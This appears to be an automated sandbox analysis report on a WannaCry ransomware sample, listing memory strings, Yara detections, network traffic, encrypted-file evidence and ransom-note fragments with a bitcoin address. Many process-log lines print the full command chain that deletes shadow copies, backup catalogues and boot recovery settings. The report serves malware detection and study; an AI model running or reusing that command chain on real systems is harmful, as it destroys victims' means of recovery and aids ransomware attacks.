Source: WannaCry.exe, 0000000F.00000003.1474514530.00000000009A8000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 0000004F.00000000.1576842950.000000000041F000.00000008.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000004F.00000002.2328619800.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000052.00000002.2328607829.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000055.00000002.1589418005.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000005A.00000002.1583977625.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000005C.00000002.1584848304.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000005F.00000002.1586153016.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000060.00000002.1587347770.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000063.00000002.1588770420.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000065.00000002.1590413504.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000068.00000002.1591580605.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000069.00000002.1593109838.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000006A.00000002.1594769324.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000006C.00000002.1596337196.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000006E.00000002.1599571092.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000006F.00000002.1600918230.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000070.00000002.1601807638.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000072.00000002.1603420323.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000074.00000002.1604662482.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000076.00000002.1605940913.0000000000421000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://www.btcfrog.com/qr/bitcoinPNG.php?address=%s
Source: WannaCry.exe, 0000000F.00000003.1474514530.00000000009A8000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 0000004F.00000000.1576842950.000000000041F000.00000008.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000004F.00000002.2328619800.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000052.00000002.2328607829.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000055.00000002.1589418005.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000005A.00000002.1583977625.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000005C.00000002.1584848304.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000005F.00000002.1586153016.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000060.00000002.1587347770.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000063.00000002.1588770420.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000065.00000002.1590413504.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000068.00000002.1591580605.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000069.00000002.1593109838.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000006A.00000002.1594769324.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000006C.00000002.1596337196.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000006E.00000002.1599571092.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000006F.00000002.1600918230.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000070.00000002.1601807638.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000072.00000002.1603420323.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000074.00000002.1604662482.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000076.00000002.1605940913.0000000000421000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how
Source: @WanaDecryptor@.exe, 00000052.00000002.2339486528.0000000000AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.btcfrog.com/qr/bitcoinPNG.php?address=115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn
Source: taskhsvc.exe, 00000073.00000002.2506046937.000000006C21A000.00000008.00000001.01000000.00000010.sdmp, taskhsvc.exe, 00000073.00000002.2492523449.000000006BF7C000.00000008.00000001.01000000.00000013.sdmp, libeay32.dll.79.dr	String found in binary or memory: http://www.openssl.org/V
Source: taskhsvc.exe, 00000073.00000002.2503773853.000000006C19D000.00000002.00000001.01000000.00000010.sdmp, libeay32.dll.79.dr	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: taskhsvc.exe, 00000073.00000002.2503773853.000000006C19D000.00000002.00000001.01000000.00000010.sdmp, libeay32.dll.79.dr	String found in binary or memory: http://www.openssl.org/support/faq.htmlRAND
Source: @WanaDecryptor@.exe, 0000004F.00000003.1601408389.0000000002911000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000073.00000002.2510812417.000000006E4E0000.00000008.00000001.01000000.00000011.sdmp	String found in binary or memory: http://www.zlib.net/D
Source: @WanaDecryptor@.exe, 0000004F.00000003.1601937473.000000000275E000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://blog.torproject.org/blog/lifecycle-of-a-new-relay
Source: @WanaDecryptor@.exe, 0000004F.00000003.1601937473.000000000275E000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://blog.torproject.org/blog/lifecycle-of-a-new-relayError
Source: @WanaDecryptor@.exe, 00000052.00000002.2327516450.000000000019B000.00000004.00000010.00020000.00000000.sdmp, @WanaDecryptor@.exe, 00000055.00000002.1589306611.000000000019B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip
Source: @WanaDecryptor@.exe, 0000004F.00000002.2327393102.0000000000198000.00000004.00000010.00020000.00000000.sdmp, @WanaDecryptor@.exe, 00000055.00000002.1589306611.000000000019B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip$
Source: taskhsvc.exe, 00000073.00000003.2150784228.0000000003EB9000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000073.00000003.2128753931.000000000407A000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000073.00000003.2139346119.00000000044B0000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000073.00000003.2131015386.00000000041EA000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000073.00000002.2349107247.0000000003130000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sabotage.net
Source: taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://trac.torproject.org/8742
Source: taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://trac.torproject.org/projects/tor/ticket/14917.
Source: taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://wiki.torproject.org/TheOnionRouter/TorFAQ#SOCKSAndDNS.%s
Source: taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://wiki.torproject.org/TheOnionRouter/TorFAQ#SOCKSAndDNS.%sDANGEROUS_SOCKS
Source: @WanaDecryptor@.exe, 00000052.00000002.2339486528.0000000000AD0000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 00000055.00000002.1589418005.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000005A.00000002.1583977625.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000005C.00000002.1584848304.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000005F.00000002.1586153016.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000060.00000002.1587347770.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000063.00000002.1588770420.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000065.00000002.1590413504.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000068.00000002.1591580605.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000069.00000002.1593109838.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000006A.00000002.1594769324.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000006C.00000002.1596337196.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000006E.00000002.1599571092.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000006F.00000002.1600918230.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000070.00000002.1601807638.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000072.00000002.1603420323.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000074.00000002.1604662482.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000076.00000002.1605940913.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000077.00000002.1607353552.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000007B.00000002.1608972570.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000007C.00000002.1610429686.0000000000421000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://www.google.com/search?q=how
Source: taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.torproject.org/
Source: taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.torproject.org/docs/faq.html#BestOSForRelay
Source: taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.torproject.org/documentation.html
Source: taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.torproject.org/download/download#warning
Source: taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.torproject.org/download/download#warningalphabetaThis

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719

Spam, unwanted Advertisements and Ransom Demands

Yara detected Conti ransomware

Source: Yara match

File source: Process Memory Space: @WanaDecryptor@.exe PID: 4928, type: MEMORYSTR

Yara detected Wannacry ransomware

Source: Yara match	File source: WannaCry.bin, type: SAMPLE
Source: Yara match	File source: 0000000F.00000003.1474514530.00000000009A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004F.00000000.1576842950.000000000041F000.00000008.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: WannaCry.exe PID: 7080, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: @WanaDecryptor@.exe PID: 4928, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\Desktop\@WanaDecryptor@.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Desktop\u.wnry, type: DROPPED
Source: Yara match	File source: C:\Users\user\Desktop\WannaCry.bin, type: DROPPED

Deletes shadow drive data (may be related to ransomware)

Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: WannaCry.exe, 0000000F.00000003.1474514530.00000000009A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: WannaCry.exe, 0000000F.00000003.1474514530.00000000009A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d***b.wnry+++---%s%s%d%I64d%dFailed to send your message!
Source: @WanaDecryptor@.exe, 0000004F.00000000.1576842950.000000000041F000.00000008.00000001.01000000.0000000B.sdmp	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: @WanaDecryptor@.exe, 0000004F.00000000.1576842950.000000000041F000.00000008.00000001.01000000.0000000B.sdmp	Binary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d***b.wnry+++---%s%s%d%I64d%dFailed to send your message!
Source: @WanaDecryptor@.exe, 00000055.00000002.1589306611.000000000019B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: t/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: @WanaDecryptor@.exe, 00000055.00000003.1588441634.0000000000606000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: aWindows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet33
Source: @WanaDecryptor@.exe, 00000055.00000003.1588441634.00000000005C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /^XG]runascmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet33
Source: @WanaDecryptor@.exe, 00000055.00000002.1590549100.000000000060F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: aWindows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet33
Source: @WanaDecryptor@.exe, 00000055.00000002.1590549100.00000000005D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: :[XG]runascmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet33
Source: @WanaDecryptor@.exe, 00000055.00000003.1588441634.00000000005EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: svchost.exe, 0000005D.00000000.1585167954.000002152F613000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: svchost.exe, 0000005D.00000000.1585276391.000002152F62B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quieta
Source: svchost.exe, 0000005D.00000000.1585276391.000002152F62B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: svchost.exe, 0000005D.00000002.2332763421.000002152F61F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: ows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: svchost.exe, 0000005D.00000002.2334488235.000002152F62B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quieta
Source: svchost.exe, 0000005D.00000002.2334488235.000002152F62B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete
Source: cmd.exe, 00000061.00000002.1616042905.0000000002C10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vssadmin delete shadows /all /quiet
Source: cmd.exe, 00000061.00000002.1616042905.0000000002C10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\system32\C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietC:\Windows\SysWOW64\cmd.exeWinSta0\DefaultALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=4OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsAppsPATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\WindowsOL$1X
Source: cmd.exe, 00000061.00000002.1616042905.0000000002C10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: cmd.exe, 00000061.00000002.1616042905.0000000002C10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: cmd.exe, 00000061.00000002.1615795463.00000000008F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\system32\C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietC:\Windows\SysWOW64\cmd.exeWinSta0\Default
Source: cmd.exe, 00000061.00000002.1616694923.0000000003000000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\SysWOW64\cmd.exe/cvssadmindeleteshadows/all/quiet&wmicshadowcopydelete&bcdedit/set{default}bootstatuspolicyignoreallfailures&bcdedit/set{default}recoveryenabledno&wbadmindeletecatalog-quiet;!
Source: cmd.exe, 00000061.00000002.1616694923.0000000003000000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Windows\SysWOW64\cmd.exe" c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\WannaCry.exe	File moved: C:\Users\user\Desktop\MXPXCVPDVN.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File deleted: C:\Users\user\Desktop\MXPXCVPDVN.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File moved: C:\Users\user\Desktop\SFPUSAFIOL\SUAVTZKNFL.jpg	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File deleted: C:\Users\user\Desktop\SFPUSAFIOL\SUAVTZKNFL.jpg	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File moved: C:\Users\user\Desktop\IPKGELNTQY.xlsx	Jump to behavior

Writes many files with high entropy

Source: C:\Program Files\7-Zip\7zG.exe	File created: C:\Users\user\Desktop\WannaCry.bin entropy: 7.99547094116	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\aABLNT_FV45QjYQfnRHrBCAk4GU[1].js.WNCRYT entropy: 7.99861120761	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\D-oNnp40DqC4OQCR13oBZlsQ7cc.br[1].js.WNCRYT entropy: 7.99035316616	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\LV79ZGKN\11\DccpWCpoNzCwM4Qymi_Ji67Ilso.br[1].js.WNCRYT entropy: 7.99850339692	Jump to dropped file
